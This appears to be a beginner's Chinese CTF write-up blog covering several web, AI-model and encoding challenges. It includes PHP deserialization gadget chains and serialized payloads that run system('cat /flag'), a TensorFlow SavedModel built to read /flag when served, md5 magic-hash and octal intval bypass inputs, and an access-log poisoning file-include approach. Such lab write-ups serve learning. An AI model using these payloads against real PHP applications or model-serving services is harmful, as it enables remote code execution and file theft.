CTFWP
MY FIRST 0xGame 2025
1.WEB
-
Lemon
这道题考察了一个查看源代码的方式,现在在这里总结一下:Ctrl+Shift+I 右键检查 F12
YCB 2025
1.WEB
ez_unserialize
这道题是一个反序化考察
<?php
class H { public $who; }
class A { public $first; public $step; public $next; }
class V { public $good; public $keep; public $dowhat; public $go; }
class E { private $you; public $found; private $secret = "admin123"; }
class F { public $fifth; public $step; public $finalstep; }
class N { public $congratulation; public $yougotit; }
class U { public $almost; public $there; public $cmd; }
// 构造 N 实例(用于 U->there)
$n = new N();
// 构造 U 实例(最终执行命令)
$u = new U();
$u->there = $n;
$u->cmd = "whoami"; // 替换为要执行的命令(如 ls、cat /flag 等)
// 构造 F 实例(finalstep 设为小写 u 绕过正则)
$f = new F();
$f->finalstep = "u";
// 构造 E 实例(found 指向 F)
$e = new E();
$e->found = $f;
// 构造 V 实例(dowhat 为 secret,go 指向 E)
$v = new V();
$v->dowhat = "secret";
$v->go = $e;
// 构造 A 实例(next 指向 V)
$a = new A();
$a->next = $v;
// 构造 H 实例(who 指向 A,作为入口)
$h = new H();
$h->who = $a;
// 生成序列化字符串
echo serialize($h);
?>
然后放入在线工具里面运行可得到payload,再用hackbar用POST传参,要先把payload换为url
payload=O:1:"H":1:{s:3:"who";O:1:"A":3:{s:5:"first";N;s:4:"step";N;s:4:"next";O:1:"V":4:{s:4:"good";N;s:4:"keep";N;s:6:"dowhat";s:6:"secret";s:2:"go";O:1:"E":2:{s:10:"\00E\00you";N;s:5:"found";O:1:"F":3:{s:5:"fifth";N;s:4:"step";N;s:9:"finalstep";s:1:"u";}}}}}&cmd=whoami
回显www.date
payload=O:1:"H":1:{s:3:"who";O:1:"A":3:{s:5:"first";N;s:4:"step";N;s:4:"next";O:1:"V":4:{s:4:"good";N;s:4:"keep";N;s:6:"dowhat";s:6:"secret";s:2:"go";O:1:"E":2:{s:10:"\00E\00you";N;s:5:"found";O:1:"F":3:{s:5:"fifth";N;s:4:"step";N;s:9:"finalstep";s:1:"u";}}}}}&cmd=cat \flag
然后得到DASCTF{81597777616436616027819952057806}(欸,好像这里粘贴的时候有点问题,数字可能不正确,算了无关紧要)
2.DS&Ai
Mini-modelscope
这是一道创建一个包含文件读取逻辑的 TensorFlow 模型,并保存为上述结构的 SavedModel
# build_model_tfio.py
# 使用纯 TensorFlow op 在 Graph 中读取 /flag 并作为 signature 返回
# 运行环境需要安装 tensorflow (建议 tensorflow-cpu)
#
# 生成: model.zip
import os
import zipfile
try:
import tensorflow as tf
except Exception as e:
raise SystemExit("请先安装 TensorFlow: pip install tensorflow-cpu\n错误: " + str(e))
OUT_DIR = "model_saved"
ZIP_PATH = "model.zip"
# 清理
if os.path.exists(OUT_DIR):
import shutil
shutil.rmtree(OUT_DIR)
if os.path.exists(ZIP_PATH):
os.remove(ZIP_PATH)
# 纯 TF 的 serve 函数:在 Graph 中读取 /flag,确保返回 tf.Tensor (dtype=tf.string)
@tf.function(input_signature=[tf.TensorSpec(shape=[None, 1], dtype=tf.float32)])
def serve_fn(x):
# tf.io.read_file 是一个图操作,返回 tf.Tensor(dtype=tf.string, shape=())
data = tf.io.read_file("/flag")
# 为兼容一些加载器/调用方,明确设置形状(标量),或者扩展成 [batch] 形式:
# 1) 若调用端期待标量 string:直接返回 data
# 2) 若调用端以 batch 形式调用(输入是 [N,1]),可以把 data 扩成 [N]
# 下面示例把 data 重复为与输入 batch size 相同的向量
batch_size = tf.shape(x)[0]
data_vec = tf.repeat(tf.expand_dims(data, 0), repeats=batch_size) # shape [batch_size]
# 返回 dict,prediction 保持为 shape [batch_size] 的 tf.string 张量
return {"prediction": data_vec}
# 备用的纯 TF signature(不读取文件),便于测试加载器是否能读取 SavedModel
@tf.function(input_signature=[tf.TensorSpec(shape=[None, 1], dtype=tf.float32)])
def noop_fn(x):
batch_size = tf.shape(x)[0]
const = tf.constant("MODEL_OK", dtype=tf.string)
vec = tf.repeat(tf.expand_dims(const, 0), repeats=batch_size)
return {"prediction": vec}
# 保存 Module,并显式把 "serve" signature 写入
class ModelModule(tf.Module):
@tf.function(input_signature=[tf.TensorSpec(shape=[None, 1], dtype=tf.float32)])
def __call__(self, x):
return serve_fn(x)
module = ModelModule()
tf.saved_model.save(module, OUT_DIR, signatures={"serve": serve_fn, "noop": noop_fn})
# 打包为 zip
with zipfile.ZipFile(ZIP_PATH, "w", compression=zipfile.ZIP_DEFLATED) as zf:
for root, dirs, files in os.walk(OUT_DIR):
for fname in files:
full = os.path.join(root, fname)
arcname = os.path.relpath(full, OUT_DIR)
zf.write(full, arcname)
print("SavedModel saved to:", OUT_DIR)
print("Zipped to:", ZIP_PATH)
然后把这个作为脚本放在一个文件里面
python build_model_safe.py
再把这个输入CMD,将其转换为提交所需要的压缩包形式,回显即可获得
DASCTF{94363104116481304334166743854159}
?CTF
WEB
[Week3] 魔术大杂烩
这道题是做过的类型题,所以我选择先做这个,首先呢,显而易见是魔术链,我们需要构造一个 PHP 反序列化 payload,通过触发一系列魔术方法,最终执行eval函数。
<?php
highlight_file(__FILE__);
error_reporting(0);
class Wuhuarou{
public $Wuhuarou;
function __wakeup(){
echo "Nice Wuhuarou!</br>";
echo $this -> Wuhuarou;
}
}
class Fentiao{
public $Fentiao;
public $Hongshufentiao;
public function __toString(){
echo "Nice Fentiao!</br>";
return $this -> Fentiao -> Hongshufentiao;
}
}
class Baicai{
public $Baicai;
public function __get($key){
echo "Nice Baicai!</br>";
$Baicai = $this -> Baicai;
return $Baicai();
}
}
class Wanzi{
public $Wanzi;
public function __invoke(){
echo "Nice Wanzi!</br>";
return $this -> Wanzi -> Xianggu();
}
}
class Xianggu{
public $Xianggu;
public $Jinzhengu;
public function __construct($Jinzhengu){
$this -> Jinzhengu = $Jinzhengu;
}
public function __call($name, $arg){
echo "Nice Xianggu!</br>";
$this -> Xianggu -> Bailuobo = $this -> Jinzhengu;
}
}
class Huluobo{
public $HuLuoBo;
public function __set($key,$arg){
echo "Nice Huluobo!</br>";
eval($arg);
}
}
if (isset($_POST['eat'])){
unserialize($_POST['eat']);
这是题目,嗯现在我还是不会php要抓时间了解了,根据提示
- Wuhuarou 类:反序列化时触发
__wakeup,会输出其Wuhuarou属性(若为对象,会触发该对象的__toString)。 - Fentiao 类:
__toString被触发时,会访问$this->Fentiao->Hongshufentiao(若$this->Fentiao是 Baicai 对象,访问不存在的Hongshufentiao会触发__get)。 - Baicai 类:
__get被触发时,会将$this->Baicai作为函数调用(若为 Wanzi 对象,会触发__invoke)。 - Wanzi 类:
__invoke被触发时,会调用$this->Wanzi->Xianggu()(若$this->Wanzi是 Xianggu 对象,调用不存在的Xianggu方法会触发__call)。 - Xianggu 类:
__call被触发时,会给$this->Xianggu->Bailuobo赋值(若$this->Xianggu是 Huluobo 对象,给不存在的Bailuobo赋值会触发__set)。 - Huluobo 类:
__set被触发时,会执行eval($arg),实现代码执行。
<?php
class Wuhuarou{public $Wuhuarou;}
class Fentiao{public $Fentiao; public $Hongshufentiao;}
class Baicai{public $Baicai;}
class Wanzi{public $Wanzi;}
class Xianggu{public $Xianggu; public $Jinzhengu; public function __construct($x){$this->Jinzhengu=$x;}}
class Huluobo{public $HuLuoBo;}
// 最终执行的代码(例如phpinfo())
$code = 'phpinfo();';
// 构建对象链
$huluobo = new Huluobo();
$xianggu = new Xianggu($code);
$xianggu->Xianggu = $huluobo;
$wanzi = new Wanzi();
$wanzi->Wanzi = $xianggu;
$baicai = new Baicai();
$baicai->Baicai = $wanzi;
$fentiao = new Fentiao();
$fentiao->Fentiao = $baicai;
$wuhuarou = new Wuhuarou();
$wuhuarou->Wuhuarou = $fentiao;
// 生成序列化payload
echo serialize($wuhuarou);
?>
通过这个我获取了一个payload,然后根据题目用eat传参,最后得到了phpinfo()[
phpinfo()是个 “信息收集工具”,能帮你看服务器环境和请求细节],并没有发现flag,emmm,题目没有提示用其他东西传参了,根据提示使用修改code
<?php
class Wuhuarou{public $Wuhuarou;}
class Fentiao{public $Fentiao; public $Hongshufentiao;}
class Baicai{public $Baicai;}
class Wanzi{public $Wanzi;}
class Xianggu{public $Xianggu; public $Jinzhengu; public function __construct($x){$this->Jinzhengu=$x;}}
class Huluobo{public $HuLuoBo;}
// 执行获取flag的命令(单引号包裹,无需转义)
$code = 'system(\'cat /flag\');'; // 注意内部单引号用反斜杠转义,避免与外层冲突
// 构建对象链
$huluobo = new Huluobo();
$xianggu = new Xianggu($code);
$xianggu->Xianggu = $huluobo;
$wanzi = new Wanzi();
$wanzi->Wanzi = $xianggu;
$baicai = new Baicai();
$baicai->Baicai = $wanzi;
$fentiao = new Fentiao();
$fentiao->Fentiao = $baicai;
$wuhuarou = new Wuhuarou();
$wuhuarou->Wuhuarou = $fentiao;
// 生成序列化payload
echo serialize($wuhuarou);
?>
这里的code需要注意,可以有两种形式另外一种用
$code = 'system("cat /flag");';
然后用POST传参即可获取flag
玄武杯
WEB
normal_php
题目描述:php特性+文件包含,来试试?
<?php
highlight_file(__FILE__);
error_reporting(0);
include 'next.php';
if(isset($_GET['a']) && isset($_POST['c'])){
$a=$_GET['a'];
$c=$_POST['c'];
parse_str($a,$b);
if($b['cdusec']!==$c && md5($b['cdusec'])==md5($c)){
$num1=$b['num'][0];
$num2=$b['num'][1];
if(in_array(10520,$b['num'])){
echo "记住这个数";
echo "
<br>";
}else{
die("这都记不住?");
}
if($num2==114514){
die("我不想要这个数字!");
}
if(preg_match("/[a-z]/i", $num2)){
die("还想十六进制绕过?");
}
if(strpos($num2, "0")){
die("还想八进制绕过?");
}
if(intval($num2,0)==114514){
echo "好了你可以去下一关了".$next;
}else{
echo "我现在又想要了,嘻嘻";
}
}else{
echo "不er,md5你不会";
}
}else{
echo "你看看传什么呢";
} 你看看传什么呢
GET: ?a=cdusec%3DQNKCDZO%26num%5B%5D%3D10520%26num%5B%5D%3D0337522
POST: c=240610708
好了你可以去下一关了/leeevvvel2222222.php
解释:
服务器对 $num2 做了这些检查(按出现顺序):
if($num2==114514)→ 宽松比较(==),如果字符串被当作数字 114514 就会被拦下。if(preg_match("/[a-z]/i", $num2))→ 禁止包含英文字母 a–z(大小写都禁)。if(strpos($num2, "0"))→ 这个写法是 bug:当在位置 0 时strpos返回(被当作 false),不会触发die;但如果在其它位置(返回正整数)就会触发die。if(intval($num2,0)==114514)→ 最终用intval且 base=0(自动识别 0 前缀为 八进制、0x 前缀为十六进制)判断是否等于 114514。
我们要构造一个 $num2,满足:
- 宽松比较
$num2==114514为假(即不要被当作十进制 114514); - 不包含 a–z;
- 若包含
,只能放在 最前面(位置 0),以绕过 buggystrpos检查; intval($num2,0)要等于114514(通过八进制/十六进制机制)。
<?php
#flag在/flag中,试着读读?
error_reporting(0);
if(isset($_GET['filename'])){
$file=$_GET['filename'];
if(!preg_match("/flag|php|filter|base64|text|read|resource|\=|\'|\"|\,/",$file)){
include($file);
}
}else{
highlight_file(__FILE__);
}
$file=$_GET[‘filename’];通过这里我传入参数,进行rce绕过
尝试路径截断:?filename=/./flag没有回显
/flag|php|filter|base64|text|read|resource|\=|\’|\”|\%/要避开这个正则
我询问ai思路它建议使用User-Agent: 输入恶意内容
根据linux常用路径?filename=/var/log/apache2/access.log进行get传参

得到NSSCTF{e6401fc9-1b70-4dac-b2e8-3938b95535ef}
CTF SHOW
1.Base64多层嵌套解码
查看源码发现用户名为admin,密码为SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU=,根据题目提示Base64多层嵌套解码,额,首先我是不知道这个是什么的,所以我把它在base64里面循环了几次,最后一堆乱码,发现有问题,突然在密码下面发现这个,看不懂,给ai
function validatePassword(input) {
let encoded = btoa(input);
encoded = btoa(encoded + 'xH7jK').slice(3);
encoded = btoa(encoded.split('').reverse().join(''));
encoded = btoa('aB3' + encoded + 'qW9').substr(2);
return btoa(encoded) === correctPassword;
}
得知这是密码的还原方法,想哭,还是太菜了,不理解,可恶。下面是解释:
let encoded = btoa(input); // ① base64
encoded = btoa(encoded + 'xH7jK').slice(3); // ② 拼接 + 再次 b64 + 去前 3 字符
encoded = btoa(encoded.split('').reverse().join(''));// ③ 反转 + b64
encoded = btoa('aB3' + encoded + 'qW9').substr(2); // ④ 再拼接 + b64 + 去前 2 字符
return btoa(encoded) === correctPassword; // ⑤ 最后再 b64
按照这个思路我依次返回。得到ñ7316。
验证即为最后答案。
后面还有个浏览器验证,改一下代理即可。